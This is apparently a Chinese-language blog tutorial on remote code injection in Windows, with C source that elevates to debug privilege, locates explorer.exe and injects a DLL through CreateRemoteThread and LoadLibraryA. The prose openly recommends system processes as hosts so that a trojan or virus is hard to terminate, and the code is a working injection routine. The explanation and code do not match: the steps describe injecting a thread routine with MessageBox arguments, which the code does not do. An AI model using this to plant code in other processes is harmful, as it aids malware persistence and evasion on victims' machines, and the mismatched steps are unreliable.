我们进行系统级别的安全监控的时候,防范木马的时候,经常需要进行远程代码注入执行。
执行步骤如下
1. 提升进程权限,如果权限不够的话,很容易造成 OpenProcess 失败;
2. 确定你的宿主进程,即你所要注入代码的进程,这个其实很好办,你要是不想你的木马或者病毒被别个一下子就结束了的话,
最好是选择系统要想运行,则必须开启的那种进程,比如资源管理器进程 Explorer.exe,
Windows 子系统进程 csrss.exe 等等,但是这里注意的是,我注入 System 进程的时候造成了失败哦,
所以最好还是别拿 System 做实验,而且如果你注入失败了的话,是会造成宿主进程崩溃的,
等下一不小心把 System 进程给弄崩溃了就不好了;
3. 打开宿主进程了(我这里打开的是 Explorer.exe 进程),思路是首先变量当前系统下运行的所有的进程,
然后遍历获取到得所有的进程的 PID,再调用 ProcessIsExplorer 函数来判断这个进程是否为 Explorer.exe 进程,
如果是则记录下这个进程的 PID 就可以了,这样就获得了 Explorer.exe 进程的 PID 了,
再通过 OpenProcess 来打开这个 Explorer.exe 进程就 OK 了;
4. 在宿主进程中分配好存储空间,这个存储空间是用来存放我们将要创建的远程线程的线程处理例程的,
这里需要注意的是:我们分配的内存必须标记必须带有 EXECUTE,因为分配的这块内存是用来存放线程处理例程的,
而线程处理例程必须得执行,所以必须得带有 EXECUTE 标记,而至于 WRITE 标记的话,很明显是需要的,
因为我们在后面的代码中还必须调用 WriteProcessMemory 来将线程处理例程写入到这块内存中,自然其必须可写;
5. 将远程线程处理例程写入到 4 中在宿主进程中所分配的内存中,这个可以直接调用 WriteProcessMemory 来实现;
6. 在宿主进程中分配好存储空间,这个存储空间是用来存放我们将要传递给远程线程线程处理例程的参数,
从下面的结构体中可以看出,其由三个参数组成,第一个参数代表要在对话框中显示的内容,
第二个参数代表要在对话框中显示的标题,第三个参数则是 MessageBox 这个 API 的地址,
因为在 Explorer.exe 中 MessageBox 的地址会发生重定向,所以需要将其地址通过参数传递给线程处理例程;
7. 将参数写入到 6 中在宿主进程中所分配的内存中,同样是调用 WriteProcessMemory 来完成;
8. 调用 CreateRemoteThread 在 Explorer.exe(宿主进程)中创建远程线程;
注意,当远程线程没有执行完时,不能够通过 VirtualFreeEx 来将远程进程中的内存释放掉,
你想啊,我他妈的线程都还在 Explorer.exe 里面执行,你他妈的在外面把我占的内存给释放掉了,我还执行个屁啊 !
所以这里调用了 WaitForSingleObject 来等待这个远程线程执行完毕,
其执行完毕后再释放在 Explorer.exe 中所分配的存储空间 !
-
- #include <windows.h>
- #include <Tlhelp32.h>
-
-
-
-
-
-
-
-
- DWORD EnablePrivilege (PCSTR name)
- {
- HANDLE hToken;
- BOOL rv;
-
- TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
-
- LookupPrivilegeValue (
- 0,
- name,
- &priv.Privileges[0].Luid
- );
-
- OpenProcessToken(
- GetCurrentProcess (),
- TOKEN_ADJUST_PRIVILEGES,
- &hToken
- );
-
- AdjustTokenPrivileges (
- hToken,
- FALSE,
- &priv,
- sizeof priv,
- 0,
- 0
- );
-
- rv = GetLastError();
-
- CloseHandle (hToken);
- return rv;
- }
-
-
-
-
-
-
-
-
-
- BOOL LoadRometeDll(DWORD dwProcessId, LPTSTR lpszLibName)
- {
- BOOL bResult = FALSE;
- HANDLE hProcess = NULL;
- HANDLE hThread = NULL;
- PSTR pszLibFileRemote = NULL;
- DWORD cch;
- PTHREAD_START_ROUTINE pfnThreadRtn;
-
- __try
- {
-
- hProcess = OpenProcess(
- PROCESS_ALL_ACCESS,
- FALSE,
- dwProcessId
- );
-
- if (hProcess == NULL)
- __leave;
-
-
- cch = 1 + lstrlen(lpszLibName);
-
-
- pszLibFileRemote = (PSTR)VirtualAllocEx(
- hProcess,
- NULL,
- cch,
- MEM_COMMIT,
- PAGE_READWRITE
- );
-
- if (pszLibFileRemote == NULL)
- __leave;
-
-
- if (!WriteProcessMemory(
- hProcess,
- (PVOID)pszLibFileRemote,
- (PVOID)lpszLibName,
- cch,
- NULL))
- __leave;
-
-
- pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(
- GetModuleHandle(TEXT("Kernel32")), TEXT("LoadLibraryA"));
-
- if (pfnThreadRtn == NULL)
- __leave;
-
-
- hThread = CreateRemoteThread(
- hProcess,
- NULL,
- 0,
- pfnThreadRtn,
- (PVOID)pszLibFileRemote,
- 0,
- NULL
- );
- if (hThread == NULL)
- __leave;
-
-
- WaitForSingleObject(hThread, INFINITE);
- bResult = TRUE;
- }
- __finally
- {
-
- if (pszLibFileRemote != NULL)
- VirtualFreeEx(hProcess, (PVOID)pszLibFileRemote, 0, MEM_RELEASE);
- if (hThread != NULL)
- CloseHandle(hThread);
- if (hProcess != NULL)
- CloseHandle(hProcess);
- }
- return bResult;
- }
-
-
-
-
-
-
-
-
- BOOL GetProcessIdByName(LPSTR szProcessName, LPDWORD lpPID)
- {
-
- STARTUPINFO st;
- PROCESS_INFORMATION pi;
- PROCESSENTRY32 ps;
- HANDLE hSnapshot;
- ZeroMemory(&st, sizeof(STARTUPINFO));
- ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
- st.cb = sizeof(STARTUPINFO);
- ZeroMemory(&ps,sizeof(PROCESSENTRY32));
- ps.dwSize = sizeof(PROCESSENTRY32);
-
- hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0);
- if(hSnapshot == INVALID_HANDLE_VALUE)
- {
- return FALSE;
- }
-
- if(!Process32First(hSnapshot,&ps))
- {
- return FALSE;
- }
- do
- {
-
- if(lstrcmpi(ps.szExeFile,"explorer.exe")==0)
- {
-
- *lpPID = ps.th32ProcessID;
- CloseHandle(hSnapshot);
- return TRUE;
- }
- }
- while(Process32Next(hSnapshot,&ps));
-
- CloseHandle(hSnapshot);
- return FALSE;
- }
-
-
-
-
-
-
-
-
- int WinMain(
- HINSTANCE hInstance,
- HINSTANCE hPrevInstance,
- LPSTR lpCmdLine,
- int nCmdShow
- )
- {
- DWORD dwPID;
-
-
- if(0!=EnablePrivilege (SE_DEBUG_NAME))
- return 0;
-
- if(!GetProcessIdByName("explorer.exe",&dwPID))
- return 0;
-
-
- if(!LoadRometeDll(dwPID,"msg.dll"))
- return 0;
- return 1;
- }